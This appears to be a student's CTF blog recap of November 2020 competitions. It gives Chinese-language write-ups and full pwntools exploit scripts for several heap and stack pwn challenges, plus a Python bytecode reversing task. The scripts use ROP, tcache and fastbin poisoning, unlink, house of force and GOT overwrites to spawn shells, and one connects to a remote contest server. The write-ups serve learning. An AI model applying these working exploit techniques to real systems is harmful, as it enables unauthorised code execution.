0x00 前言 11- 4 去了南京参加全国工业互联网安全大赛 (Final),学生组第十名,2等奖还是挺满意的
11-4晚 为了买糕点错过了高铁…
11-10 考算法,两天复习算法,半天复习代码,都过了
11-14的上海赛出了点(意外),不过还不错帮hxdm冲到第七名
0x01 湖湘杯2020 pwn_printf
emmm湖湘杯py大赛,最后一小时的狂欢,不想说什么了,真的冲不动…
原GoogleCTF的逆向题,sprintf构造的虚拟机,改成了pwn题,存在非预期
当第九个参数为0x20,存在栈溢出,rop
rbp覆盖为0x603500,通过改变rsi,来进行栈迁移
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *elf = ELF("./pwn_printf" ) p = elf.process() libc = ELF("./pwn_printf" ).libc p.recvuntil("You will find this game very interesting\n" ) for i in range (16 ): p.sendline(str (0x20 )) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x0000000000401213 p.send(p64(0x603500 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007DF )) libc_base = u64(p.recv(6 )+'\x00\x00' ) - libc.sym['puts' ] info("libc_base:" + hex (libc_base)) p.sendline("a" *0x8 +p64(pop_rdi)+p64(libc_base+libc.search("/bin/sh" ).next ())+p64(libc_base+libc.sym['system' ])) p.interactive()
0x02 湖湘杯2020 blend_pwn 我愿称之为“一个字节的胜利”,以后一定要慎用sendline函数!
题目很多漏洞,要综合使用,其中主要考点是C++异常处理,参考文章pwn DCTF2017 Flex
利用格式化字符串泄露libc基地址,del函数中没有对chunk中的内容进行清零,然后利用show功能泄露出堆地址,再利用 partial write 实现栈迁移到我们已经布置好onegadget的堆上后实现getshell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *sh=process("./blend_pwn" ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) og = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] def name (name ): sh.recvuntil("name:" ) sh.send(name) def showname (): sh.recvuntil('choice >' ) sh.sendline(str (1 )) def add (content ): sh.recvuntil('choice >' ) sh.sendline(str (2 )) sh.sendline(content) def show (): sh.recvuntil("choice >" ) sh.sendline(str (4 )) def delete (idx ): sh.recvuntil("choice >" ) sh.sendline(str (3 )) sh.recvuntil("index>" ) sh.sendline(str (idx)) def gift (con ): sh.recvuntil("choice >" ) sh.sendline(str (666 )) sh.recvuntil("Please input what you want:" ) sh.send(con) name("%11$p" ) showname() sh.recvuntil("Current user:" ) libc_base = int (sh.recvline(),16 ) - libc.sym['__libc_start_main' ] -240 info(hex (libc_base)) onegadget = libc_base + og[1 ] info(hex (onegadget)) add(p64(onegadget)*0xc ) add(p64(onegadget)*0xc ) delete(0 ) delete(1 ) show() sh.recvuntil('index 2:' ) heap_addr = u64(sh.recvuntil('\n' ,drop = True ).ljust(8 ,'\x00' )) + 0x28 info(hex (heap_addr)) payload = 'a' *0x20 + p64(heap_addr) gift(payload) sh.interactive()
0x03 湖湘杯2020 babyheap 辛苦pwnht 学长了。。。似乎关键漏洞不是单字节写0,是我菜了,,,
不过学到了加载libc的新方法,env ={"LD_PRELOAD":"./libc.so.6"}
,
漏洞点在于show 和 delete的idx没有检查边界,,首先用show(-7)
leak出pie地址。
接着填满tcache,leak出libc地址和堆地址。
然后在堆上伪造出size为0x100的堆块,并用del函数进行free,然后劫持其fd指针修改为__free_hook
,并改为system函数地址,执行/bin/sh即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *p = process("./babyheap" ,env ={"LD_PRELOAD" :"./libc.so.6" }) libc = ELF("./libc.so.6" ) def add (): p.recvuntil(">>" ) p.sendline("1" ) def show (idx ): p.recvuntil(">>" ) p.sendline("2" ) p.recvuntil("index?" ) p.sendline(str (idx)) def edit (idx,size,data ): p.recvuntil(">>" ) p.sendline("3" ) p.recvuntil("index?" ) p.sendline(str (idx)) p.recvuntil("Size:" ) p.sendline(str (size)) p.recvuntil("Content:" ) p.send(data) def free (idx ): p.recvuntil(">>" ) p.sendline("4" ) p.recvuntil("index?" ) p.sendline(str (idx)) show(-7 ) p.recvline() pie = u64(p.recv(6 )+'\x00\x00' )-0x202008 print hex (pie)for i in range (8 ): add() for i in range (8 ): free(7 -i) for i in range (8 ): add() edit(7 ,0x20 ,'a' *8 ) show(7 ) p.recvuntil("a" *8 ) libc.address = u64(p.recv(6 )+'\x00\x00' )-0x3EBCA0 print hex (libc.address)show(0 ) p.recvline() heap = u64(p.recv(6 )+'\x00\x00' ) print hex (heap)edit(0 ,0x88 ,p64(heap-0xD0 )*5 +p64(0x101 )) edit(1 ,0x88 ,p64(0 )*5 +p64(0x101 )) free(( heap - 0xe0 - (pie+0x202040 ) )/8 ) edit(0 ,0x88 ,p64(heap-0xD0 )*5 +p64(0x101 )+p64(libc.sym['__free_hook' ])) add() add() edit(9 ,9 ,p64(libc.sym['system' ])) edit(2 ,8 ,'/bin/sh\x00' ) free(2 ) p.interactive()
0x04 上海赛 lgtwo
比赛4道pwn题和A1GX师傅冲了3道,有一道之前写过类似的就不写题解了
这题一开始思路就错了,耽误了很长时间,
难点: 利用off by one 将1改成三个chunk大小,free 2 进入fastbin,free 1 放入unsortedbin,然后分割unsortedbin,将main_arena放入fastbin
思路: 利用off by one构造overlap,没有show函数,所以通过爆破stdout泄露libc基址,然后通过unlink修改free_hook为onegadget从而getshell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.binary = './lgtwo' elf = ELF('./lgtwo' ) libc = elf.libc def add (size,payload ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('?' ,str (size)) p.sendafter('?' ,payload) def delete (idx ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('?' ,str (idx)) def show (idx ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('?' ,str (idx)) def change (idx,payload ): p.sendlineafter('>> ' ,'4' ) p.sendlineafter('?' ,str (idx)) p.sendafter('?' ,payload) buf = 0x6020C0 stdout = 0x602020 while (1 ): p = process('./lgtwo' ) add(0x18 ,'aaa' ) add(0x18 ,'bbb' ) add(0x60 ,'ccc' ) add(0x30 ,'aaa' ) add(0x10 ,'ddd' ) change(0 ,'a' *0x10 +p64(0 )+p8(0xd1 )) delete(2 ) delete(1 ) add(0x18 ,'aaa' ) add(0xa0 ,'ccc' ) change(1 ,'a' *0x10 +p64(0 )+'\x70' ) change(2 ,'\xdd' +'\x15' ) add(0x60 ,'aaa' ) try : add(0x68 ,'bbb' ) except EOFError: print 'error!!!' p.close() continue change(6 ,'\x00' *0x33 +p64(0xfbad18a0 )+p64(0 )*3 +p8(0 ) ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3c5600 one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] one_gadget = libc_base+one[1 ] free_hook = libc_base+libc.sym['__free_hook' ] info(hex (libc_base)) add(0x48 , "ddaa" ) add(0x80 ,'ddaa' ) add(0x10 ,'aaaa' ) payload = p64(0 )+p64(0x41 ) payload += p64(buf +7 *8 - 0x18 ) payload += p64(buf +7 *8 - 0x10 ) payload += 'a' *0x20 payload += p64(0x40 )+p8(0x90 ) change(7 ,payload) delete(8 ) change(7 ,p64(0 )*3 +p64(free_hook)) change(7 ,p64(one_gadget)) delete(9 ) p.interactive()
0x05 上海赛 maj0rone 给了大量混淆像这样,真吓人,距离比赛结束还有两个小时本不想做了的
但是A1GX师傅说不要看这些混淆并爆破出这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 for a1 in range (512 ): v1 = 512 if ( a1 <= 512 ): v1 = a1 if ( v1 <= 300 ): v2 = a1 else : v2 = 300 if ( v2 >= 150 ): v3 = 150 else : v3 = a1 if ( v3 <= 80 ): v4 = 80 else : v4 = a1 v7 = v4 if ( v4 <= 80 ): v4 = 80 if ( v4 >= 83 ): v5 = 80 else : v5 = v7 if (a1==v5): print (a1)
这样就可以进入函数了,其实就是一道常规堆题,给了我很大信心/滑稽
难点: 将0放入unsortedbin,然后分割成2,3,将3放入fastbin,改3的size为0x91,为了避免doublefree,所以先free一次4,然后再free 3 ,这样之后,3既在fastbin又在unsortedbin,再将3size改回0x71,这样做的目的就是为了让main_arena放入fastbin中,所以只有一条fastbin链后,就可以爆破stdout了
思路: 利用uaf漏洞,分割unsortedbin,通过构造获得fastbin,由于没有输出函数,所以爆破stdout泄露libc基址,最后利用fastbin attack将fd改为malloc_hook-0x23,从而将malloc_hook改为onegadget getshell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *context.binary = './maj0rone' elf = ELF('./maj0rone' ) libc = elf.libc def add (size,payload ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('n' ,str (80 )) p.sendlineafter('?' ,str (size)) p.sendafter('?' ,payload) def delete (idx ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('?' ,str (idx)) def show (idx ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('?' ,str (idx)) def change (idx,payload ): p.sendlineafter('>> ' ,'4' ) p.sendlineafter('?' ,str (idx)) p.sendafter('?' ,payload) while (1 ): p = remote('123.56.52.128' ,'18523' ) add(0x90 ,'aaaa' ) add(0x10 ,'aaaa' ) delete(0 ) add(0x20 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'bbbb' ) delete(3 ) payload = 'a' *0x20 +p64(0 )+p64(0x91 ) change(0 ,payload) delete(4 ) delete(3 ) change(3 ,'\xdd' +'\x15' ) payload = 'a' *0x20 +p64(0 )+p64(0x71 ) change(0 ,payload) try : add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) except EOFError: print 'error!!!' p.close() continue change(7 ,'\x00' *0x33 +p64(0xfbad1800 )+p64(0 )*3 +p8(0 )) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3c5600 malloc_hook = libc_base+libc.sym['__malloc_hook' ] one = [0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] one_gadget = libc_base+one[3 ] info(hex (one_gadget)) info(hex (libc_base)) add(0x60 ,'aaaa' ) delete(8 ) change(8 ,p64(malloc_hook-0x23 )) add(0x60 ,'aaaa' ) add(0x60 ,'aaaa' ) payload = '\x00' *0x13 +p64(one_gadget) change(10 ,payload) p.sendlineafter('>> ' ,'1' ) p.sendlineafter('n' ,str (80 )) p.sendline(str (0x10 )) p.interactive()
0x06 上海赛 cpu_emulator 做vmpwn真的难,需要一定的逆向基础
分析出主要逻辑,模拟了cpu的工作,32个寄存器,每个寄存器32位,指令长度也是32位,指令是分段的,且有两种解析方式,漏洞在第一种解析方式
找到溢出点之后,就可以利用tcache改fd指针,将free_got和atoi_got 改成printf函数,构造格式化字符串漏洞来泄露libc基址,然后再改atoi_got为system即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *p = process('./emulator' ) elf = ELF('./emulator' ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) ogg = [0x4f365 ,0x4f3c2 ,0x10a45c ] free_got = elf.got['free' ] atoi_got = elf.got['atoi' ] printf_plt = elf.plt['printf' ] exit_got = elf.got['exit' ] def show (a,addr ): info(a+':' +hex (addr)) def setInstruction (size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('size:\n' ,str (size)) p.sendafter('instruction:\n' ,content) def last_set (size,content ): p.sendafter('>> ' ,'1' ) p.sendlineafter('size:\n' ,'%' +str (size)+'c' ) p.sendafter('instruction:\n' ,content) def getOrder1 (a1,a2,a3,a4 ): result = (a1<<26 ) + (a2<<21 ) + (a3<<16 ) + a4 return p32(result) def run (): p.sendlineafter('>> ' ,'2' ) setInstruction(0x100 ,'\x00' ) setInstruction(0x20 ,'\x00' ) setInstruction(0x30 ,'\x00' ) setInstruction(0x40 ,'\x00' ) payload1 = getOrder1(8 ,0 ,0 ,0xf1 ) + getOrder1(8 ,0 ,0 ,0xe0 ) + getOrder1(8 ,1 ,1 ,0x8 +1 ) + getOrder1(0x2b ,1 ,0 ,0xffff )+getOrder1(1 ,0 ,0 ,0 ) setInstruction(0x100 ,payload1) run() payload2 = '\x00' *0x100 payload2 += p64(0 )+p64(0xa1 )+p64(free_got-8 ).ljust(0x20 ,'\x00' ) payload2 += p64(0 )+p64(0xb1 )+p64(atoi_got).ljust(0x30 ,'\x00' ) payload2 += p64(0 )+p64(0xc1 )+p64(atoi_got).ljust(0x40 ,'\x00' ) setInstruction(0x1c0 ,payload2) setInstruction(0x20 ,'\x00' ) setInstruction(0x30 ,'\x00' ) setInstruction(0x40 ,'\x00' ) setInstruction(0x20 ,p64(printf_plt)*2 ) setInstruction(0x30 ,p64(printf_plt)) p.sendlineafter('>> ' ,'%15$p' ) leak = int (p.recvuntil('\n' ),16 ) - 231 libcbase = leak - libc.sym['__libc_start_main' ] one = libcbase + ogg[2 ] system_addr = libcbase + libc.sym['system' ] show('libcbase' ,libcbase) show('one_gadget' ,one) show('system_addr' ,system_addr) last_set(0x40 ,p64(one)) p.interactive()
0x07 cumt新生赛 pwn5 change函数存在溢出,没有开PIE,留了后门,写两种解法
exp 解法一,可以用house of force来修改Bye函数指针为backdo0r
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *r = process('./pwn5' ) def add (size,con ): p.sendlineafter('Your choice:' ,'2' ) p.sendlineafter('Plz input the size of item name:' ,str (size)) p.sendafter('Plz input the name:' ,con) def delete (idx ): p.sendlineafter('Your choice:' ,'4' ) p.sendlineafter('Plz enter the index of item:' ,str (idx)) def show (): p.sendlineafter('Your choice:' ,'1' ) def change (idx,size,con ): p.sendlineafter('Your choice:' ,'3' ) p.sendlineafter('Plz enter the index of item:' ,str (idx)) p.sendlineafter('Plz enter the length of item name:' ,str (size)) p.sendafter('Plz enter the new name of the item:' ,con) sys = 0x400D1B add(0x30 , "ld1ng" ) payload = 0x30 * 'a' payload += p64(0 ) + p64(0xffffffffffffffff ) change(0 , 0x50 , payload) offset = -0x60 malloc_size = offset -0x10 add(malloc_size, "ld1ng" ) add(0x10 , p64(sys) * 2 ) r.recvuntil(":" ) r.sendline("5" ) r.interactive()
解法二,unlink改 free的got表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *p = process('./pwn5' ) elf = ELF('./pwn5' ) libc = elf.libc def add (size,con ): p.sendlineafter('Your choice:' ,'2' ) p.sendlineafter('Plz input the size of item name:' ,str (size)) p.sendafter('Plz input the name:' ,con) def delete (idx ): p.sendlineafter('Your choice:' ,'4' ) p.sendlineafter('Plz enter the index of item:' ,str (idx)) def show (): p.sendlineafter('Your choice:' ,'1' ) def change (idx,size,con ): p.sendlineafter('Your choice:' ,'3' ) p.sendlineafter('Plz enter the index of item:' ,str (idx)) p.sendlineafter('Plz enter the length of item name:' ,str (size)) p.sendafter('Plz enter the new name of the item:' ,con) buf = 0x06020b8 sys = 0x400D1B add(0x60 ,'ccc' ) add(0x58 ,'aaa' ) add(0x80 ,'bbb' ) add(0x60 ,'eee' ) add(0x60 ,'fff' ) payload = p64(0 )+p64(0x51 ) payload += p64(buf - 0x18 ) payload += p64(buf - 0x10 ) payload += 'a' *0x30 payload += p64(0x50 )+p8(0x90 ) change(1 ,0x80 ,payload) delete(2 ) change(1 ,0x40 ,p64(0x60 )*3 + p64(0x6020a8 )) change(1 ,0x40 ,p64(elf.got['free' ])) change(0 ,0x40 ,p64(sys)*2 ) p.interactive()
0x08 记事本逆向
有一说一炜哥写文案的水平太强了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 Disassembly of __init__: 47 0 LOAD_CONST 0 (None ) 2 LOAD_FAST 0 (self) 4 STORE_ATTR 0 (left) 48 6 LOAD_CONST 0 (None ) 8 LOAD_FAST 0 (self) 10 STORE_ATTR 1 (right) 49 12 LOAD_FAST 1 (data) 14 LOAD_FAST 0 (self) 16 STORE_ATTR 2 (data) 18 LOAD_CONST 0 (None ) 20 RETURN_VALUE Disassembly of inorderTraversal: //左中右 59 0 BUILD_LIST 0 2 STORE_FAST 2 (res) 60 4 LOAD_FAST 1 (root) 6 POP_JUMP_IF_FALSE 48 61 8 LOAD_FAST 0 (self) //res = self.inorderTraversal(root.left) 10 LOAD_ATTR 0 (inorderTraversal) 12 LOAD_FAST 1 (root) 14 LOAD_ATTR 1 (left) 16 CALL_FUNCTION 1 18 STORE_FAST 2 (res) 62 20 LOAD_FAST 2 (res) //res.append(root.data) 22 LOAD_ATTR 2 (append) 24 LOAD_FAST 1 (root) 26 LOAD_ATTR 3 (data) 28 CALL_FUNCTION 1 30 POP_TOP 63 32 LOAD_FAST 2 (res) //res += self.inorderTraversal(root.right) 34 LOAD_FAST 0 (self) 36 LOAD_ATTR 0 (inorderTraversal) 38 LOAD_FAST 1 (root) 40 LOAD_ATTR 4 (right) 42 CALL_FUNCTION 1 44 BINARY_ADD 46 STORE_FAST 2 (res) 64 >> 48 LOAD_FAST 2 (res) 50 RETURN_VALUE Disassembly of insert: //左右左 51 0 LOAD_FAST 0 (self) 2 LOAD_ATTR 0 (data) 4 POP_JUMP_IF_FALSE 62 52 6 LOAD_FAST 0 (self) //if self.left is None 8 LOAD_ATTR 1 (left) 10 LOAD_CONST 0 (None ) 12 COMPARE_OP 8 (is ) 14 POP_JUMP_IF_FALSE 28 53 16 LOAD_GLOBAL 2 (Node) 18 LOAD_FAST 1 (data) 20 CALL_FUNCTION 1 22 LOAD_FAST 0 (self) 24 STORE_ATTR 1 (left) //self.left = Node(data) 26 JUMP_FORWARD 34 (to 62 ) 54 >> 28 LOAD_FAST 0 (self) 30 LOAD_ATTR 3 (right) 32 LOAD_CONST 0 (None ) 34 COMPARE_OP 8 (is ) 36 POP_JUMP_IF_FALSE 50 55 38 LOAD_GLOBAL 2 (Node) //self.right = Node(data) 40 LOAD_FAST 1 (data) 42 CALL_FUNCTION 1 44 LOAD_FAST 0 (self) 46 STORE_ATTR 3 (right) 48 JUMP_FORWARD 12 (to 62 ) 57 >> 50 LOAD_FAST 0 (self) //self.left.insert(data) 52 LOAD_ATTR 1 (left) 54 LOAD_ATTR 4 (insert) 56 LOAD_FAST 1 (data) 58 CALL_FUNCTION 1 60 POP_TOP >> 62 LOAD_CONST 0 (None ) 64 RETURN_VALUE None 2 0 LOAD_BUILD_CLASS 2 LOAD_CLOSURE 0 (Node) 4 BUILD_TUPLE 1 6 LOAD_CONST 1 (<code object Node at 0x0382DB20 , line 2 >) 8 LOAD_CONST 2 ('Node' ) 10 MAKE_FUNCTION 8 12 LOAD_CONST 2 ('Node' ) 14 CALL_FUNCTION 2 16 STORE_DEREF 0 (Node) 28 18 LOAD_GLOBAL 0 (input ) 20 LOAD_CONST 3 ('PLZ input flag:' ) //str1 = input ('PLZ input flag:' ) 22 CALL_FUNCTION 1 24 STORE_FAST 0 (str1) 30 26 LOAD_CONST 4 (<code object <listcomp> at 0x0382DB78 , line 30 >) 28 LOAD_CONST 5 ('main1.<locals>.<listcomp>' ) 30 MAKE_FUNCTION 0 32 LOAD_FAST 0 (str1) 34 GET_ITER 36 CALL_FUNCTION 1 38 STORE_FAST 1 (flag) 31 40 LOAD_DEREF 0 (Node) // root = Node(flag[0 ]) 42 LOAD_FAST 1 (flag) 44 LOAD_CONST 6 (0 ) 46 BINARY_SUBSCR 48 CALL_FUNCTION 1 50 STORE_FAST 2 (root) 32 52 SETUP_LOOP 36 (to 90 ) 54 LOAD_GLOBAL 1 (range ) //for i in range (1 ,len (flag)): 56 LOAD_CONST 7 (1 ) 58 LOAD_GLOBAL 2 (len ) 60 LOAD_FAST 1 (flag) 62 CALL_FUNCTION 1 64 CALL_FUNCTION 2 66 GET_ITER >> 68 FOR_ITER 18 (to 88 ) 70 STORE_FAST 3 (i) 33 72 LOAD_FAST 2 (root) 74 LOAD_ATTR 3 (insert) // root.insert(flag[i]) 76 LOAD_FAST 1 (flag) 78 LOAD_FAST 3 (i) 80 BINARY_SUBSCR 82 CALL_FUNCTION 1 84 POP_TOP 86 JUMP_ABSOLUTE 68 >> 88 POP_BLOCK 34 >> 90 LOAD_FAST 2 (root) 92 LOAD_ATTR 4 (inorderTraversal) // F = root.inorderTraversal(root) 94 LOAD_FAST 2 (root) 96 CALL_FUNCTION 1 98 STORE_FAST 4 (F) 35 100 LOAD_CONST 8 ('7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm' ) 102 STORE_FAST 1 (flag) //flag = '7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm' 36 104 LOAD_CONST 7 (1 ) 106 STORE_FAST 5 (YES) 37 108 SETUP_LOOP 50 (to 160 ) 110 LOAD_GLOBAL 5 (enumerate ) //迭代器,进行比较 112 LOAD_FAST 4 (F) 114 CALL_FUNCTION 1 116 GET_ITER >> 118 FOR_ITER 38 (to 158 ) 120 UNPACK_SEQUENCE 2 122 STORE_FAST 3 (i) 124 STORE_FAST 6 (element) 38 126 LOAD_GLOBAL 6 (ord ) 128 LOAD_FAST 1 (flag) 130 LOAD_FAST 3 (i) 132 BINARY_SUBSCR 134 CALL_FUNCTION 1 136 LOAD_FAST 6 (element) 138 COMPARE_OP 3 (!=) 140 POP_JUMP_IF_FALSE 118 39 142 LOAD_CONST 6 (0 ) 144 STORE_FAST 5 (YES) 40 146 LOAD_GLOBAL 7 (print ) 148 LOAD_CONST 9 ('wrong' ) 150 CALL_FUNCTION 1 152 POP_TOP 41 154 BREAK_LOOP 156 JUMP_ABSOLUTE 118 >> 158 POP_BLOCK 42 >> 160 LOAD_FAST 5 (YES) 162 POP_JUMP_IF_FALSE 172 43 164 LOAD_GLOBAL 7 (print ) 166 LOAD_CONST 10 ('wow~you are right!' ) 168 CALL_FUNCTION 1 170 POP_TOP >> 172 LOAD_CONST 0 (None ) 174 RETURN_VALUE None
python字节码,做了点注释,
分析出是一颗参天大树,主要在于读懂插入和中序遍历的逻辑,
想了好久,实在想不出脚本怎么写,太菜了还是手撕吧
贴上炜哥的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def main1 (): class Node : def __init__ (self, data ): self.left = None self.right = None self.data = data def PrintTree (self ): if self.left: self.left.PrintTree() print (chr (self.data),end="" ) if self.right: self.right.PrintTree() def insert (self,data ): if self.data: if self.left is None : self.left = Node(data) elif self.right is None : self.right = Node(data) else : self.left.insert(data) def inorderTraversal (self, root ): res = [] if root: res = self.inorderTraversal(root.left) res.append(root.data) res = res + self.inorderTraversal(root.right) return res str1=input ("PLZ input flag:" ) flag=[ord (i) for i in str1] root = Node(flag[0 ]) for i in range (1 ,len (flag)): root.insert(flag[i]) F=root.inorderTraversal(root) flag="7b}41ada16fdd2d262c70b8533f00ea{7t1tfuccm" YES=1 for i, element in enumerate (F): if ord (flag[i])!=element: YES=0 print ("wrong" ) break if YES: print ("wow~you are right!" )
0x09 小结 十一月总结:太菜了